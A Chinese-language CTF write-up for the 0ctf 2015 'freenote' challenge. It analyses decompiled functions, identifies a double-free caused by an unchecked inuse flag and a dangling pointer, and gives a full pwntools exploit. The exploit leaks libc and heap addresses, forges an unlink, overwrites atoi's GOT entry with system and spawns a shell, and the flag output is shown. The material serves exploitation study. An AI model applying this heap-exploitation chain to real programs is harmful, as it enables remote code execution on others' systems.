整理结构体

  • 程序首先初始化了了chunklist,此题的chunklist是在堆里面分配的
  • 一个指针指向了malloc(0x1810)的头,此段空间的前16字节分别是最大堆块的值和当前堆块数量
  • 大概结构体如下图
1
2
3
4
5
6
7
00000000
00000000 headptr         struc ; (sizeof=0x1810, align=0x8, mappedto_6)
00000000 max             dq ?
00000008 count           dq ?
00000010 nodelist        note 256 dup(?)
00001810 headptr         ends
00001810
  • note结构体如下
1
2
3
4
5
6
7
00000000 note            struc ; (sizeof=0x18, align=0x8, mappedto_7)
00000000                                         ; XREF: headptr/r
00000000 inuse           dq ?
00000008 size            dq ?
00000010 data            dq ?
00000018 note            ends
00000018
  • 经过整理以后,可以看出来程序一开始初始化了256个note结构体,指针置空

函数分析

new函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int new()
{__int64 v0; // raxvoid *buf; // ST18_8int i; // [rsp+Ch] [rbp-14h]int size; // [rsp+10h] [rbp-10h]if ( head->count < head->max ){for ( i = 0; ; ++i ){v0 = head->max;if ( i >= head->max )break;if ( !head->nodelist[i].inuse ){printf("Length of new note: ");size = retint();if ( size > 0 ){if ( size > 4096 )size = 4096;buf = malloc((128 - size % 128) size);printf("Enter your note: ");mread1(buf, size);head->nodelist[i].inuse = 1LL;head->nodelist[i].size = size;head->nodelist[i].data = buf;++head->count;LODWORD(v0) = puts("Done.");}else{LODWORD(v0) = puts("Invalid length!");}return v0;}}}else{LODWORD(v0) = puts("Unable to create new note.");}return v0;
}
  • 整理过结构体以后,程序逻辑就很清晰了,new函数是从前到后遍历chunklist,当inuse为0的时候,在那个堆块malloc了note的空间,注意的是,size是不可任意malloc的,因为设置了自动对齐的运算,size大小只能是128*n (n > 0)
  • 这就导致了我们无法直接申请fastbin
  • 还有程序自己实现了read函数,输入size后必须输入满足你的size才能结束输入循环

list函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int list()
{__int64 v0; // raxunsigned int i; // [rsp+Ch] [rbp-4h]if ( head->count <= 0 ){LODWORD(v0) = puts("You need to create some new notes first.");}else{for ( i = 0; ; ++i ){v0 = head->max;if ( i >= head->max )break;if ( head->nodelist[i].inuse == 1 )printf("%d. %s\n", i, head->nodelist[i].data);}}return v0;
}
  • 打印当前所有inuse为1的堆块

edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int edit()
{headptr *v1; // rbxint v2; // [rsp+4h] [rbp-1Ch]int v3; // [rsp+8h] [rbp-18h]printf("Note number: ");v3 = retint();if ( v3 < 0 || v3 >= head->max || head->nodelist[v3].inuse != 1 )return puts("Invalid number!");printf("Length of note: ");v2 = retint();if ( v2 <= 0 )return puts("Invalid length!");if ( v2 > 4096 )v2 = 4096;if ( v2 != head->nodelist[v3].size ){v1 = head;v1->nodelist[v3].data = realloc(head->nodelist[v3].data, (128 - v2 % 128) v2);// 0 128 256head->nodelist[v3].size = v2;}printf("Enter your note: ");mread1(head->nodelist[v3].data, v2);return puts("Done.");
}
  • 这个edit函数并没有限制编辑的次数,而且要注意的是,当size不一样的时候,程序会调用realloc函数

del函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int del()
{int v1; // [rsp+Ch] [rbp-4h]if ( head->count <= 0 )return puts("No notes yet.");printf("Note number: ");v1 = retint();if ( v1 < 0 || v1 >= head->max )return puts("Invalid number!");--head->count;head->nodelist[v1].inuse = 0LL;               // 未check是否inuse 任意次数freehead->nodelist[v1].size = 0LL;free(head->nodelist[v1].data);return puts("Done.");
}
  • 最短的函数之一,也是漏洞点的所在
  • 程序并没有check堆块是否inuse,而且free后指针没有置空,所以就导致了我们可以通过double free来进行攻击

攻击过程

  • 要进行攻击,必须获得程序中的一些基址,也就是在程序真正运行时的一些偏移,这里可以采用unsorted bin leak来leaklibc的基址,同样我们利用free后再次malloc,也可以获得上次相同的堆块,随后我们可以利用形成的双链表的fd bk来获取libc和heap的基址
  • 由于程序中并没有溢出的存在,又不能生成fastbin,这里考虑从堆块错位下手,然后利用未置空的指针来进行double free
  • 具体过程是先leak堆和libc的基址,然后全部free后,malloc4块空间依次free,随后申请一个大的堆块,正好包含起来所有的小堆块,构造unlink后随后free之前修改过的指针的已free堆块,控制指针,随后getshell

exp

  • 首先add四个堆块,然后依次free index为0和2的堆块,0处就会出现main_arena的真实地址,我们获得了libc基址,2处因为无法合并就会出现双向链表,同样泄露了heap的地址
  • 全部free后,利用堆块错位和double free构造unlink
  • 三次malloc(128)以后内存依次free后内存中应该是下面的样子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-----+--------------------
0x00 | head   size
0x10 | data   data
.... | data   data
0x80 | data   data
-----+--------------------
0x90 | head   size
0xa0 | data   data
.... | data   data
0x110| data   data
-----+--------------------
0x120| head   size
0x130| data   data
.... | data   data
0x1a0| data   data
--------------------------
  • 之后编辑堆块构造unlink
  • 放出完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *r = remote("pwn2.jarvisoj.com",9886)
# r = process("./freenote_x64",env={'LD_PRELOAD':'./libc-2.19.so'})
got_atoi = 0x602070
libc_mainarena = 0x3BE760
libc_system = 0x46590def show():r.sendlineafter("choice: ","1")def new(text):r.sendlineafter("choice: ","2")r.sendlineafter("new note: ",str(len(text)))r.sendafter("your note: ",text)def edit(index,text):r.sendlineafter("choice: ","3")r.sendlineafter("Note number: ",str(index))r.sendlineafter("Length of note: ",str(len(text)))r.sendafter("your note: ",text)def free(index):r.sendlineafter("choice: ","4")r.sendlineafter("Note number: ",str(index))def exp():#leakprint "start"new("1")new("2")new("3")new("4")free(0)free(2)new("aaaaaaaa")new("aaaaaaaa")show()r.recv(11)s = r.recv(4)heap_base = u64(s+'\x00'*4)print "heap_base : 0x%x"%heap_baser.recv(17)s = r.recv(6)main_arena = u64(s+'\x00'*2)print "mainarena : 0x%x"%main_arenachunklist0 = heap_base - 0x1910#delfree(0)free(1)free(2)free(3)#unlinknew("1")new("2")new("3")free(0)free(1)free(2)payload = ""payload += "a"*8 + p64(0x81)payload += p64(chunklist0-0x18) + p64(chunklist0-0x10)payload += p64(0x0) * 2 * 6payload += p64(0x80) + p64(0x90)payload += p64(0x0) * 2 * 8payload += "a"*8 + p64(0x91)new(payload)free(1)   #unlink  ptr[0] -> &ptr[0] - 0x18#attacklibc_base = main_arena - 88 - libc_mainarenaprint "libc_base : 0x%x"%libc_basesystem = libc_base + libc_systemprint "sytem_add : 0x%x"%system#getshellpayload1 = p64(0x1) + p64(0x1)payload1 += p64(0x120) + p64(chunklist0-0x18)payload1 += p64(0x1) + p64(8) + p64(got_atoi)payload1 += p64(0)*2 * 14 + p64(0)print hex(len(payload1))edit(0,payload1)edit(1,p64(system))r.sendline("/bin/sh")r.interactive()if __name__=="__main__":exp()

Your choice: \$ ls
\$ ls
flag
freenote_x64
$ cat flag
CTF{de7effd8864**c}

0ctf freenote相关推荐

  1. 0CTF 2015 FreeNote

    0CTF 2015 Freenote 序言 又一个Double Free类型的题, 虽说是Double Free, 但利用方式不一样, 有需要的看一下. 程序运行(简单运行) 1. MENU == 0 ...

  2. 复现0ctf blog

    参考文献:https://lorexxar.cn/2018/04/05/0ctf2018-blog/ https://45.76.198.31/post/0CTF%202018%20Quals%20B ...

  3. [pwn]格式化字符串:0ctf 2015 login writeup

    文章目录 格式化字符串:0ctf 2015 login writeup 格式化字符串漏洞 题目分析 利用思路 开始利用 格式化字符串:0ctf 2015 login writeup 格式化字符串漏洞 ...

  4. 软件安全与脆弱性分析-对于freenote小程序的Poc分析

    最近上软件安全与脆弱性分析课程,对freenote小程序(貌似是某一年的CTF题)进行了依次Poc分析.感觉很有意思,在这里对分析过程进行一个总结. 1.程序功能介绍 给定的程序运行界面如上图所示,大 ...

  5. [pwn]堆:unlink绕过,0CTF2015 freenote详解

    [pwn]堆:2free=unlink绕过,0CTF2015 freenote 题目地址,提取码:f0xd 拿到题目,国际惯例,首先查看安全策略; 没有开启PIE和full partial.然后查看程 ...

  6. 2017 0ctf——babyheap

    64位程序,保护全开 #fastbin attack 程序逻辑 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 __ ...

  7. localhost/ ~wallhe/index.php,实战:2019 0ctf final Web Writeup(一)

    前言 鸽了好久的题解,因为自己事务缠身,一直没时间写一下最近比赛的题解,趁近日有空,来填坑~ 第一次参加0ctf新星赛就拿了冠军,还是非常开心的.比赛过程中,web共4道题,我有幸做出3道,java实 ...

  8. [0CTF 2016]piapiapia WP(详细)

    [0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...

  9. BUCTF[0CTF 2016]piapiapia

    [0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...

最新文章

  1. vsco使用教程_VSCO如何使用 vsco新手教程
  2. HTML 中的特殊字符
  3. 中国剩余定理(模板+代码)
  4. HW 静态路由实现PC间互通
  5. Jsoup爬虫小案例
  6. 矢量 路网 免费下载_50个免费矢量图片下载网站
  7. 前端H5如何实现分享截图
  8. [OpenCV+VS2015]火焰检测算法(RGB判据)
  9. 百度网盘客户端(java)版本
  10. 【开发】MFC到Delphi的皮肤移植
  11. 【倒计时5天】PyCon China 2020 主题大揭秘!
  12. 学习C++的五十个观点
  13. python做出来的东西怎么让别人看_有趣的Python图片制作之如何用QQ好友头像拼接出里昂...
  14. 升级至android 5.0,OPPO X9007 升级到Android5.0 Color2.1(root版) 详细纪实
  15. C++primer十万字笔记 第九章 顺序容器
  16. 推荐一个赚钱平台,100%能赚钱(合法 长久 稳定)
  17. 咸鱼Maya笔记—Maya 循环边
  18. 概率统计Python计算:离散型随机变量分布(bernoulli geom)
  19. 【自学编程】自己写小例子的经验
  20. 动画中OAD OVA SP都是是什么?和TV动漫都有什么区别?

热门文章

  1. MRPII与“拿来主义”(转)
  2. 微信打赏服务器,微信打赏平台高防服务器无视CC不限制内容服务器
  3. 蚂蚁金服电话面试小结。
  4. springboot理发店发型师预约业务管理系统java ssm
  5. 2、操作系统基本原理
  6. Python内存管理机制及优化简析(转载)
  7. 交换机出现发送端无法连接接收端问题解决
  8. 光模块在移动通信基站中的应用解析
  9. php算球面距离,球面两点之间的距离计算
  10. 2023超星学习通 王艳茹 创业基础 章节测试答案